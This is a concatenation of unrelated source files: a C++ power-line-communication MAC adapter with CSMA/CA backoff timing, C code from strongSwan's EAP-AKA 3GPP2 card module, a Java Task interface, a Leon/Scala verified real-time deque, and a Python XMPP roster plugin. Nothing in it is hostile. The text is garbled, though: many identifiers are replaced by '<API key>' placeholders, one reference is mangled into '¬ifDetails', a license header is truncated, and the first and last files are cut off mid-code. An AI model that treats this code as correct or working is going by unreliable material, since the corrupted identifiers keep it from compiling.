if (COMMENTS_ON) EV << "IFG elapsed, now begin transmission of frame " << frame << endl;
// We skip carrier extension, because there is no for plc communications
/*
// Perform carrier extension if in Gigabit PLC
if (carrierExtension && frame->getByteLength() < <API key>)
{
EV << "Performing carrier extension of small frame\n";
frame->setByteLength(<API key>);
}
*/
// start frame burst, if enabled
if (frameBursting)
{
if (COMMENTS_ON) EV << "Starting frame burst\n";
framesSentInBurst = 0;
bytesSentInBurst = 0;
}
}
void Adapter_PLC_Base::handleEndTxPeriod()
{
// we only get here if transmission has finished successfully, without collision
if (transmitState!=TRANSMITTING_STATE || (!duplexMode && receiveState!=RX_IDLE_STATE))
error("End of transmission, and incorrect state detected");
if (txQueue.empty())
error("Frame under transmission cannot be found");
// get frame from buffer
cPacket *frame = (cPacket *)txQueue.pop();
numFramesSent++;
numBytesSent += frame->getByteLength();
// numFramesSentVector.record(numFramesSent);
// numBytesSentVector.record(numBytesSent);
if (dynamic_cast<PlcPauseFrame*>(frame)!=NULL)
{
numPauseFramesSent++;
// <API key>.record(numPauseFramesSent);
}
if (COMMENTS_ON) EV << "Transmission of " << frame << " successfully completed\n";
delete frame;
}
void Adapter_PLC_Base::<API key>()
{
if (transmitState != PAUSE_STATE)
error("At end of PAUSE not in PAUSE_STATE!");
if (COMMENTS_ON) EV << "Pause finished, resuming transmissions\n";
beginSendFrames();
}
void Adapter_PLC_Base::<API key>(cMessage *msg)
{
if (COMMENTS_ON) EV << "Interface is not connected -- dropping packet " << msg << endl;
delete msg;
numDroppedIfaceDown++;
}
void Adapter_PLC_Base::<API key>(cMessage *msg)
{
if (COMMENTS_ON) EV << "MAC is disabled -- dropping message " << msg << endl;
delete msg;
}
void Adapter_PLC_Base::<API key>()
{
/*
Anders als bei CSMA/CD (Ethernet) wird bei PLC CSMA/CA angewendet. Hierzu wird zu der
"normalen" Wartezeit nach der Feststellung, dass das Medium nicht belegt ist, eine
zufaellige zusaetzliche Wartezeit addiert, die ein Vielfaches von 1.28 us ist (dieser
Wert konnte beim Modemhersteller devolo erfragt werden).
Hierdurch werden Kollisionen noch unwahrscheinlicher, da nach Freigabe nicht alle
Modems mit Sendewunsch gleichzeitig versuchen, das Medium zu belegen.
*/
// For CSMA/CA, we have to add a random selected additional wait time
int gap = <API key>;
int x = rand()%10;
x = x * gap;
simtime_t <API key> = (simtime_t) x/1000;
if (COMMENTS_ON) EV << "End of IFG period is scheduled at t=" << simTime()+interFrameGap +<API key> << "." << endl;
scheduleAt(simTime()+interFrameGap +<API key>, endIFGMsg);
transmitState = WAIT_IFG_STATE;
}
void Adapter_PLC_Base::<API key>(int priority)
{
if (COMMENTS_ON) EV << "Scheduling end of IFG period ..." << endl;
if (COMMENTS_ON) EV << "Priority based traffic detected. Priority is " << priority << "." << endl;
// the higher the priority, the faster the channel access
double whole_period = <API key>;
if (COMMENTS_ON) EV << "Whole priority resolution period: " << whole_period << " micro sec" << endl;
double quarter_period = whole_period/4;
if (COMMENTS_ON) EV << "Quarter of the priority resolution period: " << quarter_period << " micro sec" << endl;
double <API key> = whole_period - (priority * quarter_period);
if (COMMENTS_ON) EV << "Basic priority period for a priority of " << priority << " is: " << <API key> << " micro sec" << endl;
double fluctuation = quarter_period * 0.9; // 16,12 us
if (COMMENTS_ON) EV << "The fluctuations are at maximum: " << fluctuation << " micro sec" << endl;
// For CSMA/CA, we have to add a random selected additional wait time
int gap = <API key>;
int int_k = rand()%11; // 0 us to 14,08 us
if (COMMENTS_ON) EV << "Diceroll resulted in " << int_k << "." << endl;
double m = fluctuation - (int_k * gap);
double x = (m+<API key>)/1000000;
simtime_t priority_wait_time = (simtime_t) x;
if (COMMENTS_ON) EV << "This time, the priority based additional wait time is calculated to: " << priority_wait_time * 1000000 << " micro sec" << endl;
simtime_t complete_wait_time = interFrameGap+priority_wait_time;
if (COMMENTS_ON) EV << "End of IFG period is scheduled at t=" << simTime()+complete_wait_time << " micro sec." << endl << endl;
scheduleAt(simTime()+complete_wait_time, endIFGMsg);
transmitState = WAIT_IFG_STATE;
}
void Adapter_PLC_Base::scheduleEndTxPeriod(cPacket *frame)
{
scheduleAt(simTime()+frame->getBitLength()*bitTime, endTxMsg);
transmitState = TRANSMITTING_STATE;
}
void Adapter_PLC_Base::<API key>(int pauseUnits)
{
// length is interpreted as 512-bit-time units
simtime_t pausePeriod = pauseUnits*PAUSE_BITTIME*bitTime;
scheduleAt(simTime()+pausePeriod, endPauseMsg);
transmitState = PAUSE_STATE;
}
bool Adapter_PLC_Base::<API key>()
{
if (pauseUnitsRequested>0)
{
// if we received a PAUSE frame recently, go into PAUSE state
if (COMMENTS_ON) EV << "Going to PAUSE mode for " << pauseUnitsRequested << " time units\n";
<API key>(pauseUnitsRequested);
pauseUnitsRequested = 0;
return true;
}
return false;
}
void Adapter_PLC_Base::beginSendFrames()
{
if (!txQueue.empty())
{
// Other frames are queued, therefore wait IFG period and transmit next frame
if (COMMENTS_ON) EV << "Transmit next frame in output queue, after IFG period\n";
<API key>();
}
else
{
transmitState = TX_IDLE_STATE;
if (queueModule)
{
// tell queue module that we've become idle
if (COMMENTS_ON) EV << "Requesting another frame from queue module\n";
queueModule->requestPacket();
}
else
{
// No more frames set transmitter to idle
if (COMMENTS_ON) EV << "No more frames to send, transmitter set to idle\n";
}
}
}
void Adapter_PLC_Base::<API key>(int type, cPacket *msg)
{
if (nb) {
notifDetails.setPacket(msg);
nb-><API key>(type, ¬ifDetails);
}
}
void Adapter_PLC_Base::finish()
{
/*
if (!disabled)
{
simtime_t t = simTime();
recordScalar("simulated time", t);
recordScalar("txrate (Mb)", txrate/1000000);
recordScalar("full duplex", duplexMode);
recordScalar("frames sent", numFramesSent);
recordScalar("frames rcvd", numFramesReceivedOK);
recordScalar("bytes sent", numBytesSent);
recordScalar("bytes rcvd", numBytesReceivedOK);
recordScalar("frames from higher layer", numFramesFromHL);
recordScalar("frames from higher layer dropped (iface down)", numDroppedIfaceDown);
recordScalar("frames dropped (bit error)", numDroppedBitError);
recordScalar("frames dropped (not for us)", numDroppedNotForUs);
recordScalar("frames passed up to HL", numFramesPassedToHL);
recordScalar("PAUSE frames sent", numPauseFramesSent);
recordScalar("PAUSE frames rcvd", numPauseFramesRcvd);
if (t>0)
{
recordScalar("frames/sec sent", numFramesSent/t);
recordScalar("frames/sec rcvd", numFramesReceivedOK/t);
recordScalar("bits/sec sent", 8*numBytesSent/t);
recordScalar("bits/sec rcvd", 8*numBytesReceivedOK/t);
}
}
*/
}
void Adapter_PLC_Base::updateDisplayString()
{
// icon coloring
const char *color;
if (receiveState==RX_COLLISION_STATE)
color = "red";
else if (transmitState==TRANSMITTING_STATE)
color = "yellow";
else if (transmitState==JAMMING_STATE)
color = "red";
else if (receiveState==RECEIVING_STATE)
color = "#4040ff";
else if (transmitState==BACKOFF_STATE)
color = "white";
else if (transmitState==PAUSE_STATE)
color = "gray";
else
color = "";
getDisplayString().setTagArg("i",1,color);
if (!strcmp(getParentModule()->getClassName(),"PLCInterface"))
getParentModule()->getDisplayString().setTagArg("i",1,color);
// connection coloring
<API key>(transmitState);
#if 0
// this code works but didn't turn out to be very useful
const char *txStateName;
switch (transmitState) {
case TX_IDLE_STATE: txStateName="IDLE"; break;
case WAIT_IFG_STATE: txStateName="WAIT_IFG"; break;
case TRANSMITTING_STATE: txStateName="TX"; break;
case JAMMING_STATE: txStateName="JAM"; break;
case BACKOFF_STATE: txStateName="BACKOFF"; break;
case PAUSE_STATE: txStateName="PAUSE"; break;
default: error("wrong tx state");
}
const char *rxStateName;
switch (receiveState) {
case RX_IDLE_STATE: rxStateName="IDLE"; break;
case RECEIVING_STATE: rxStateName="RX"; break;
case RX_COLLISION_STATE: rxStateName="COLL"; break;
default: error("wrong rx state");
}
char buf[80];
sprintf(buf, "tx:%s rx: %s\n#boff:%d #cTx:%d",
txStateName, rxStateName, backoffs, <API key>);
getDisplayString().setTagArg("t",0,buf);
#endif
}
void Adapter_PLC_Base::<API key>(int txState)
{
const char *color;
if (txState==TRANSMITTING_STATE)
color = "yellow";
else if (txState==JAMMING_STATE || txState==BACKOFF_STATE)
color = "red";
else
color = "";
cGate *g = physOutGate;
while (g && g->getType()==cGate::OUTPUT)
{
g->getDisplayString().setTagArg("o",0,color);
g->getDisplayString().setTagArg("o",1, color[0] ? "3" : "1");
g = g->getNextGate();
}
}
void Adapter_PLC_Base::<API key>(int category, const cPolymorphic *)
{
if (category==<API key>)
updateHasSubcribers();
}
|
#include "eap_aka_3gpp2_card.h"
#include <daemon.h>
typedef struct <API key> <API key>;
/**
* Private data of an <API key> object.
*/
struct <API key> {
/**
* Public <API key> interface.
*/
<API key> public;
/**
* AKA functions
*/
<API key> *f;
/**
* do sequence number checking?
*/
bool seq_check;
/**
* SQN stored in this pseudo-USIM
*/
char sqn[AKA_SQN_LEN];
};
/**
* Functions from <API key>.c
*/
bool eap_aka_3gpp2_get_k(identification_t *id, char k[AKA_K_LEN]);
void <API key>(char sqn[AKA_SQN_LEN], int offset);
METHOD(simaka_card_t, get_quintuplet, status_t,
<API key> *this, identification_t *id,
char rand[AKA_RAND_LEN], char autn[AKA_AUTN_LEN], char ck[AKA_CK_LEN],
char ik[AKA_IK_LEN], char res[AKA_RES_MAX], int *res_len)
{
char *amf, *mac;
char k[AKA_K_LEN], ak[AKA_AK_LEN], sqn[AKA_SQN_LEN], xmac[AKA_MAC_LEN];
if (!eap_aka_3gpp2_get_k(id, k))
{
DBG1(DBG_IKE, "no EAP key found for %Y to authenticate with AKA", id);
return FAILED;
}
/* AUTN = SQN xor AK | AMF | MAC */
DBG3(DBG_IKE, "received autn %b", autn, AKA_AUTN_LEN);
DBG3(DBG_IKE, "using K %b", k, AKA_K_LEN);
DBG3(DBG_IKE, "using rand %b", rand, AKA_RAND_LEN);
memcpy(sqn, autn, AKA_SQN_LEN);
amf = autn + AKA_SQN_LEN;
mac = autn + AKA_SQN_LEN + AKA_AMF_LEN;
/* XOR anonymity key AK into SQN to decrypt it */
if (!this->f->f5(this->f, k, rand, ak))
{
return FAILED;
}
DBG3(DBG_IKE, "using ak %b", ak, AKA_AK_LEN);
memxor(sqn, ak, AKA_SQN_LEN);
DBG3(DBG_IKE, "using sqn %b", sqn, AKA_SQN_LEN);
/* calculate expected MAC and compare against received one */
if (!this->f->f1(this->f, k, rand, sqn, amf, xmac))
{
return FAILED;
}
if (!memeq_const(mac, xmac, AKA_MAC_LEN))
{
DBG1(DBG_IKE, "received MAC does not match XMAC");
DBG3(DBG_IKE, "MAC %b\nXMAC %b", mac, AKA_MAC_LEN, xmac, AKA_MAC_LEN);
return FAILED;
}
if (this->seq_check && memcmp(this->sqn, sqn, AKA_SQN_LEN) >= 0)
{
DBG3(DBG_IKE, "received SQN %b\ncurrent SQN %b",
sqn, AKA_SQN_LEN, this->sqn, AKA_SQN_LEN);
return INVALID_STATE;
}
/* update stored SQN to the received one */
memcpy(this->sqn, sqn, AKA_SQN_LEN);
/* CK/IK, calculate RES */
if (!this->f->f3(this->f, k, rand, ck) ||
!this->f->f4(this->f, k, rand, ik) ||
!this->f->f2(this->f, k, rand, res))
{
return FAILED;
}
*res_len = AKA_RES_MAX;
return SUCCESS;
}
METHOD(simaka_card_t, resync, bool,
<API key> *this, identification_t *id,
char rand[AKA_RAND_LEN], char auts[AKA_AUTS_LEN])
{
char amf[AKA_AMF_LEN], k[AKA_K_LEN], aks[AKA_AK_LEN], macs[AKA_MAC_LEN];
if (!eap_aka_3gpp2_get_k(id, k))
{
DBG1(DBG_IKE, "no EAP key found for %Y to resync AKA", id);
return FALSE;
}
/* AMF is set to zero in resync */
memset(amf, 0, AKA_AMF_LEN);
if (!this->f->f5star(this->f, k, rand, aks) ||
!this->f->f1star(this->f, k, rand, this->sqn, amf, macs))
{
return FALSE;
}
/* AUTS = SQN xor AKS | MACS */
memcpy(auts, this->sqn, AKA_SQN_LEN);
memxor(auts, aks, AKA_AK_LEN);
memcpy(auts + AKA_AK_LEN, macs, AKA_MAC_LEN);
return TRUE;
}
METHOD(<API key>, destroy, void,
<API key> *this)
{
free(this);
}
/**
* See header
*/
<API key> *<API key>(<API key> *f)
{
<API key> *this;
INIT(this,
.public = {
.card = {
.get_triplet = (void*)return_false,
.get_quintuplet = _get_quintuplet,
.resync = _resync,
.get_pseudonym = (void*)return_null,
.set_pseudonym = (void*)nop,
.get_reauth = (void*)return_null,
.set_reauth = (void*)nop,
},
.destroy = _destroy,
},
.f = f,
.seq_check = lib->settings->get_bool(lib->settings,
"%s.plugins.eap-aka-3gpp2.seq_check",
#ifdef SEQ_CHECK /* handle legacy compile time configuration as default */
TRUE,
#else /* !SEQ_CHECK */
FALSE,
#endif /* SEQ_CHECK */
lib->ns),
);
<API key>(this->sqn, 0);
return &this->public;
}
|
package org.jevis.commons.dataprocessing.v2;
import java.util.List;
/**
*
* @author Florian Simon
*/
public interface Task {
void setDataProcessor(Function dp);
Function getDataProcessor();
void setDependency(List<Task> dps);
List<Task> getDependency();
Result getResult();
}
|
import leon._
import lazyeval._
import lang._
import annotation._
import collection._
import instrumentation._
import math._
/**
* A constant time deque based on Okasaki's implementation: Fig.8.4 Pg. 112.
* Here, both front and rear streams are scheduled.
* We require both the front and the rear streams to be of almost equal
* size. If not, we lazily rotate the streams.
* The invariants are a lot more complex than in `RealTimeQueue`.
* The program also fixes a bug in Okasaki's implementatin: see function `rotateDrop`
*/
object RealTimeDeque {
sealed abstract class Stream[T] {
@inline
def isEmpty: Boolean = {
this match {
case SNil() => true
case _ => false
}
}
@inline
def isCons: Boolean = {
this match {
case SCons(_, _) => true
case _ => false
}
}
def size: BigInt = {
this match {
case SNil() => BigInt(0)
case SCons(x, t) => 1 + (t*).size
}
} ensuring (_ >= 0)
}
case class SCons[T](x: T, tail: Lazy[Stream[T]]) extends Stream[T]
case class SNil[T]() extends Stream[T]
@inline
def ssize[T](l: Lazy[Stream[T]]): BigInt = (l*).size
def isConcrete[T](l: Lazy[Stream[T]]): Boolean = {
l.isEvaluated && (l* match {
case SCons(_, tail) =>
isConcrete(tail)
case _ => true
})
}
@invstate
def revAppend[T](l1: Lazy[Stream[T]], l2: Lazy[Stream[T]]): Lazy[Stream[T]] = {
require(isConcrete(l1) && isConcrete(l2))
l1.value match {
case SNil() => l2
case SCons(x, tail) =>
val nt: Lazy[Stream[T]] = SCons[T](x, l2)
revAppend(tail, nt)
}
} ensuring(res => ssize(res) == ssize(l1) + ssize(l2) &&
isConcrete(res) &&
(ssize(l1) >= 1 ==> (res*).isCons) &&
time <= 20*ssize(l1) + 20)
@invstate
def drop[T](n: BigInt, l: Lazy[Stream[T]]): Lazy[Stream[T]] = {
require(n >= 0 && isConcrete(l) && ssize(l) >= n)
if (n == 0) {
l
} else {
l.value match {
case SNil() => l
case SCons(x, tail) => drop(n - 1, tail)
}
}
} ensuring(res => isConcrete(res) &&
ssize(res) == ssize(l) - n &&
time <= 20*n + 20)
@invstate
def take[T](n: BigInt, l: Lazy[Stream[T]]): Lazy[Stream[T]] = {
require(n >= 0 && isConcrete(l) && ssize(l) >= n)
val r: Lazy[Stream[T]] =
if (n == 0) {
SNil[T]()
} else {
l.value match {
case SNil() => l
case SCons(x, tail) =>
SCons[T](x, take(n - 1, tail))
}
}
r
} ensuring(res => isConcrete(res) &&
ssize(res) == n &&
time <= 30*n + 30)
@invstate
def takeLazy[T](n: BigInt, l: Lazy[Stream[T]]): Stream[T] = {
require(isConcrete(l) && n >= 1 && ssize(l) >= n)
l.value match {
case SCons(x, tail) =>
if (n == 1)
SCons[T](x, SNil[T]())
else
SCons[T](x, $(takeLazy(n - 1, tail)))
}
} ensuring(res => res.size == n && res.isCons &&
time <= 20)
@invstate
def rotateRev[T](r: Lazy[Stream[T]], f: Lazy[Stream[T]], a: Lazy[Stream[T]]): Stream[T] = {
require(isConcrete(r) && isConcrete(f) && isConcrete(a) &&
{
val lenf = ssize(f)
val lenr = ssize(r)
(lenf <= 2 * lenr + 3 && lenf >= 2 * lenr + 1)
})
r.value match {
case SNil() => revAppend(f, a).value // |f| <= 3
case SCons(x, rt) =>
SCons(x, $(rotateRev(rt, drop(2, f), revAppend(take(2, f), a))))
} // here, it doesn't matter whether 'f' has i elements or not, what we want is |drop(2,f)| + |take(2,f)| == |f|
} ensuring (res => res.size == (r*).size + (f*).size + (a*).size &&
res.isCons &&
time <= 250)
@invstate
def rotateDrop[T](r: Lazy[Stream[T]], i: BigInt, f: Lazy[Stream[T]]): Stream[T] = {
require(isConcrete(r) && isConcrete(f) && i >= 0 && {
val lenf = ssize(f)
val lenr = ssize(r)
(lenf >= 2 * lenr + 2 && lenf <= 2 * lenr + 3) && // size invariant between 'f' and 'r'
lenf > i
})
val rval = r.value
if(i < 2 || rval == SNil[T]()) { // A bug in Okasaki implementation: we must check for: 'rval = SNil()'
val a: Lazy[Stream[T]] = SNil[T]()
rotateRev(r, drop(i, f), a)
} else {
rval match {
case SCons(x, rt) =>
SCons(x, $(rotateDrop(rt, i - 2, drop(2, f))))
}
}
} ensuring(res => res.size == (r*).size + (f*).size - i &&
res.isCons && time <= 300)
def firstUneval[T](l: Lazy[Stream[T]]): Lazy[Stream[T]] = {
if (l.isEvaluated) {
l* match {
case SCons(_, tail) =>
firstUneval(tail)
case _ => l
}
} else
l
} ensuring (res => (!(res*).isEmpty || isConcrete(l)) &&
((res*).isEmpty || !res.isEvaluated) && // if the return value is not a Nil closure then it would not have been evaluated
(res.value match {
case SCons(_, tail) =>
firstUneval(l) == firstUneval(tail) // after evaluating the firstUneval closure in 'l' we can access the next unevaluated closure
case _ => true
}))
case class Queue[T](f: Lazy[Stream[T]], lenf: BigInt, sf: Lazy[Stream[T]],
r: Lazy[Stream[T]], lenr: BigInt, sr: Lazy[Stream[T]]) {
def isEmpty = lenf + lenr == 0
def valid = {
(firstUneval(f) == firstUneval(sf)) &&
(firstUneval(r) == firstUneval(sr)) &&
(lenf == ssize(f) && lenr == ssize(r)) &&
(lenf <= 2*lenr + 1 && lenr <= 2*lenf + 1) &&
{
val mind = min(2*lenr-lenf+2, 2*lenf-lenr+2)
ssize(sf) <= mind && ssize(sr) <= mind
}
}
}
/**
* A function that takes streams where the size of front and rear streams violate
* the balance invariant, and restores the balance.
*/
def createQueue[T](f: Lazy[Stream[T]], lenf: BigInt, sf: Lazy[Stream[T]],
r: Lazy[Stream[T]], lenr: BigInt, sr: Lazy[Stream[T]]): Queue[T] = {
require(firstUneval(f) == firstUneval(sf) &&
firstUneval(r) == firstUneval(sr) &&
(lenf == ssize(f) && lenr == ssize(r)) &&
((lenf - 1 <= 2*lenr + 1 && lenr <= 2*lenf + 1) ||
(lenf <= 2*lenr + 1 && lenr - 2 <= 2*lenf + 1)) &&
{
val mind = max(min(2*lenr-lenf+2, 2*lenf-lenr+2), 0)
ssize(sf) <= mind && ssize(sr) <= mind
})
if(lenf > 2*lenr + 1) {
val i = (lenf + lenr) / 2
val j = lenf + lenr - i
val nr = rotateDrop(r, i, f)
val nf = takeLazy(i, f)
Queue(nf, i, nf, nr, j, nr)
} else if(lenr > 2*lenf + 1) {
val i = (lenf + lenr) / 2
val j = lenf + lenr - i
val nf = rotateDrop(f, j, r) // here, both 'r' and 'f' are concretized
val nr = takeLazy(j, r)
Queue(nf, i, nf, nr, j, nr)
} else
Queue(f, lenf, sf, r, lenr, sr)
} ensuring(res => res.valid &&
time <= 400)
/**
* Forces the schedules, and ensures that `firstUneval` equality is preserved
*/
def force[T](tar: Lazy[Stream[T]], htar: Lazy[Stream[T]], other: Lazy[Stream[T]], hother: Lazy[Stream[T]]): Lazy[Stream[T]] = {
require(firstUneval(tar) == firstUneval(htar) &&
firstUneval(other) == firstUneval(hother))
tar.value match {
case SCons(_, tail) => tail
case _ => tar
}
} ensuring (res => {
//lemma instantiations
val in = inState[Stream[T]]
val out = outState[Stream[T]]
funeMonotone(tar, htar, in, out) &&
funeMonotone(other, hother, in, out) && {
//properties
val rsize = ssize(res)
firstUneval(htar) == firstUneval(res) && // follows from post of fune
firstUneval(other) == firstUneval(hother) &&
(rsize == 0 || rsize == ssize(tar) - 1)
} && time <= 350
})
/**
* Forces the schedules in the queue twice and ensures the `firstUneval` property.
*/
def forceTwice[T](q: Queue[T]): (Lazy[Stream[T]], Lazy[Stream[T]]) = {
require(q.valid)
val nsf = force(force(q.sf, q.f, q.r, q.sr), q.f, q.r, q.sr) // forces q.sf twice
val nsr = force(force(q.sr, q.r, q.f, nsf), q.r, q.f, nsf) // forces q.sr twice
(nsf, nsr)
}
// the following properties are ensured, but need not be stated
/*ensuring (res => {
val nsf = res._1
val nsr = res._2
firstUneval(q.f) == firstUneval(nsf) &&
firstUneval(q.r) == firstUneval(nsr) &&
(ssize(nsf) == 0 || ssize(nsf) == ssize(q.sf) - 2) &&
(ssize(nsr) == 0 || ssize(nsr) == ssize(q.sr) - 2) &&
time <= 1500
})*/
def empty[T] = {
val nil: Lazy[Stream[T]] = SNil[T]()
Queue(nil, 0, nil, nil, 0, nil)
}
/**
* Adding an element to the front of the list
*/
def cons[T](x: T, q: Queue[T]): Queue[T] = {
require(q.valid)
val nf: Stream[T] = SCons[T](x, q.f)
// force the front and rear scheds once
val nsf = force(q.sf, q.f, q.r, q.sr)
val nsr = force(q.sr, q.r, q.f, nsf)
createQueue(nf, q.lenf + 1, nsf, q.r, q.lenr, nsr)
} ensuring (res => res.valid && time <= 1200)
/**
* Removing the element at the front, and returning the tail
*/
def tail[T](q: Queue[T]): Queue[T] = {
require(!q.isEmpty && q.valid)
force(q.f, q.sf, q.r, q.sr) match { // force 'f'
case _ =>
tailSub(q)
}
} ensuring(res => res.valid && time <= 3000)
def tailSub[T](q: Queue[T]): Queue[T] = {
require(!q.isEmpty && q.valid && q.f.isEvaluated)
q.f.value match {
case SCons(x, nf) =>
val (nsf, nsr) = forceTwice(q)
// here, sf and sr got smaller by 2 holds, the schedule invariant still holds
createQueue(nf, q.lenf - 1, nsf, q.r, q.lenr, nsr)
case SNil() =>
// in this case 'r' will have only one element by invariant
empty[T]
}
} ensuring(res => res.valid && time <= 2750)
/**
* Reversing a list. Takes constant time.
* This implies that data structure is a `deque`.
*/
def reverse[T](q: Queue[T]): Queue[T] = {
require(q.valid)
Queue(q.r, q.lenr, q.sr, q.f, q.lenf, q.sf)
} ensuring(q.valid && time <= 10)
// Properties of `firstUneval`. We use `fune` as a shorthand for `firstUneval`
/**
* st1.subsetOf(st2) ==> fune(l, st2) == fune(fune(l, st1), st2)
*/
@traceInduct
def funeCompose[T](l1: Lazy[Stream[T]], st1: Set[Lazy[Stream[T]]], st2: Set[Lazy[Stream[T]]]): Boolean = {
require(st1.subsetOf(st2))
// property
(firstUneval(l1) withState st2) == (firstUneval(firstUneval(l1) withState st1) withState st2)
} holds
/**
* st1.subsetOf(st2) && fune(la,st1) == fune(lb,st1) ==> fune(la,st2) == fune(lb,st2)
* The `fune` equality is preseved by evaluation of lazy closures.
* This is a kind of frame axiom for `fune` but is slightly different in that
* it doesn't require (st2 \ st1) to be disjoint from la and lb.
*/
def funeMonotone[T](l1: Lazy[Stream[T]], l2: Lazy[Stream[T]], st1: Set[Lazy[Stream[T]]], st2: Set[Lazy[Stream[T]]]): Boolean = {
require((firstUneval(l1) withState st1) == (firstUneval(l2) withState st1) &&
st1.subsetOf(st2))
funeCompose(l1, st1, st2) && // lemma instantiations
funeCompose(l2, st1, st2) &&
// induction scheme
(if (l1.isEvaluated withState st1) {
l1* match {
case SCons(_, tail) =>
funeMonotone(tail, l2, st1, st2)
case _ => true
}
} else true) &&
(firstUneval(l1) withState st2) == (firstUneval(l2) withState st2) // property
} holds
}
|
## roster_nb.py
## based on roster.py
## This program is free software; you can redistribute it and/or modify
## the Free Software Foundation; either version 2, or (at your option)
## any later version.
## This program is distributed in the hope that it will be useful,
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# $Id: roster.py,v 1.17 2005/05/02 08:38:49 snakeru Exp $
"""
Simple roster implementation. Can be used though for different tasks like
mass-renaming of contacts.
"""
from protocol import JID, Iq, Presence, Node, NodeProcessed, NS_MUC_USER, NS_ROSTER
from plugin import PlugIn
import logging
log = logging.getLogger('nbxmpp.roster_nb')
class NonBlockingRoster(PlugIn):
"""
Defines a plenty of methods that will allow you to manage roster. Also
automatically track presences from remote JIDs taking into account that
every JID can have multiple resources connected. Does not currently support
'error' presences. You can also use mapping interface for access to the
internal representation of contacts in roster
"""
def __init__(self, version=None):
"""
Init internal variables
"""
PlugIn.__init__(self)
self.version = version
self._data = {}
self._set=None
self._exported_methods=[self.getRoster]
self.<API key> = False
def Request(self, force=0):
"""
Request roster from server if it were not yet requested (or if the
'force' argument is set)
"""
if self._set is None:
self._set = 0
elif not force:
return
iq = Iq('get', NS_ROSTER)
if self.version is not None:
iq.setTagAttr('query', 'ver', self.version)
id_ = self._owner.getAnID()
iq.setID(id_)
self._owner.send(iq)
log.info('Roster requested from server')
return id_
def RosterIqHandler(self, dis, stanza):
"""
Subscription tracker. Used internally for setting items state in internal
roster representation
"""
sender = stanza.getAttr('from')
if not sender is None and not sender.bareMatch(
self._owner.User + '@' + self._owner.Server):
return
query = stanza.getTag('query')
if query:
self.<API key> = True
self.version = stanza.getTagAttr('query', 'ver')
if self.version is None:
self.version = ''
for item in query.getTags('item'):
jid=item.getAttr('jid')
if item.getAttr('subscription')=='remove':
if self._data.has_key(jid): del self._data[jid]
# Looks like we have a workaround
# raise NodeProcessed # a MUST
log.info('Setting roster item %s...' % jid)
if not self._data.has_key(jid): self._data[jid]={}
self._data[jid]['name']=item.getAttr('name')
self._data[jid]['ask']=item.getAttr('ask')
self._data[jid]['subscription']=item.getAttr('subscription')
self._data[jid]['groups']=[]
if not self._data[jid].has_key('resources'): self._data[jid]['resources']={}
for group in item.getTags('group'):
if group.getData() not in self._data[jid]['groups']:
self._data[jid]['groups'].append(group.getData())
self._data[self._owner.User+'@'+self._owner.Server]={'resources': {}, 'name': None, 'ask': None, 'subscription': None, 'groups': None,}
self._set=1
# Looks like we have a workaround
# raise NodeProcessed # a MUST. Otherwise you'll get back an <iq type='error'/>
def PresenceHandler(self, dis, pres):
"""
Presence tracker. Used internally for setting items' resources state in
internal roster representation
"""
if pres.getTag('x', namespace=NS_MUC_USER):
return
jid=pres.getFrom()
if not jid:
# If no from attribue, it's from server
jid=self._owner.Server
jid=JID(jid)
if not self._data.has_key(jid.getStripped()): self._data[jid.getStripped()]={'name':None,'ask':None,'subscription':'none','groups':['Not in roster'],'resources':{}}
if type(self._data[jid.getStripped()]['resources'])!=type(dict()):
self._data[jid.getStripped()]['resources']={}
item=self._data[jid.getStripped()]
typ=pres.getType()
if not typ:
log.info('Setting roster item %s for resource %s...'%(jid.getStripped(), jid.getResource()))
item['resources'][jid.getResource()]=res={'show':None,'status':None,'priority':'0','timestamp':None}
if pres.getTag('show'): res['show']=pres.getShow()
if pres.getTag('status'): res['status']=pres.getStatus()
if pres.getTag('priority'): res['priority']=pres.getPriority()
if not pres.getTimestamp(): pres.setTimestamp()
res['timestamp']=pres.getTimestamp()
elif typ=='unavailable' and item['resources'].has_key(jid.getResource()): del item['resources'][jid.getResource()]
# Need to handle type='error' also
def _getItemData(self, jid, dataname):
"""
Return specific jid's representation in internal format. Used internally
"""
jid = jid[:(jid+'/').find('/')]
return self._data[jid][dataname]
def _getResourceData(self, jid, dataname):
"""
Return specific jid's resource representation in internal format. Used
internally
"""
if jid.find('/') + 1:
jid, resource = jid.split('/', 1)
if self._data[jid]['resources'].has_key(resource):
return self._data[jid]['resources'][resource][dataname]
elif self._data[jid]['resources'].keys():
lastpri = -129
for r in self._data[jid]['resources'].keys():
if int(self._data[jid]['resources'][r]['priority']) > lastpri:
resource, lastpri=r, int(self._data[jid]['resources'][r]['priority'])
return self._data[jid]['resources'][resource][dataname]
def delItem(self, jid):
"""
Delete contact 'jid' from roster
"""
self._owner.send(Iq('set', NS_ROSTER, payload=[Node('item', {'jid': jid, 'subscription': 'remove'})]))
def getAsk(self, jid):
"""
Return 'ask' value of contact 'jid'
"""
return self._getItemData(jid, 'ask')
def getGroups(self, jid):
"""
Return groups list that contact 'jid' belongs to
"""
return self._getItemData(jid, 'groups')
def getName(self, jid):
"""
Return name of contact 'jid'
"""
return self._getItemData(jid, 'name')
def getPriority(self, jid):
"""
Return priority of contact 'jid'. 'jid' should be a full (not bare) JID
"""
return self._getResourceData(jid, 'priority')
def getRawRoster(self):
"""
Return roster representation in internal format
"""
return self._data
def getRawItem(self, jid):
"""
Return roster item 'jid' representation in internal format
"""
return self._data[jid[:(jid+'/').find('/')]]
def getShow(self, jid):
"""
Return 'show' value of contact 'jid'. 'jid' should be a full (not bare)
JID
"""
return self._getResourceData(jid, 'show')
def getStatus(self, jid):
"""
Return 'status' value of contact 'jid'. 'jid' should be a full (not bare)
JID
"""
return self._getResourceData(jid, 'status')
def getSubscription(self, jid):
"""
Return 'subscription' value of contact 'jid'
"""
return self._getItemData(jid, 'subscription')
def getResources(self, jid):
"""
Return list of connected resources of contact 'jid'
"""
return self._data[jid[:(jid+'/').find('/')]]['resources'].keys()
def setItem(self, jid, name=None, groups=[]):
"""
Rename contact 'jid' and sets the groups list that it now belongs to
"""
iq = Iq('set', NS_ROSTER)
query = iq.getTag('query')
attrs = {'jid': jid}
if name:
attrs['name'] = name
item = query.setTag('item', attrs)
for group in groups:
item.addChild(node=Node('group', payload=[group]))
self._owner.send(iq)
def setItemMulti(self, items):
"""
Rename multiple contacts and sets their group lists
"""
iq = Iq('set', NS_ROSTER)
query = iq.getTag('query')
for i in items:
attrs = {'jid': i['jid']}
if i['name']:
attrs['name'] = i['name']
item = query.setTag('item', attrs)
for group in i['groups']:
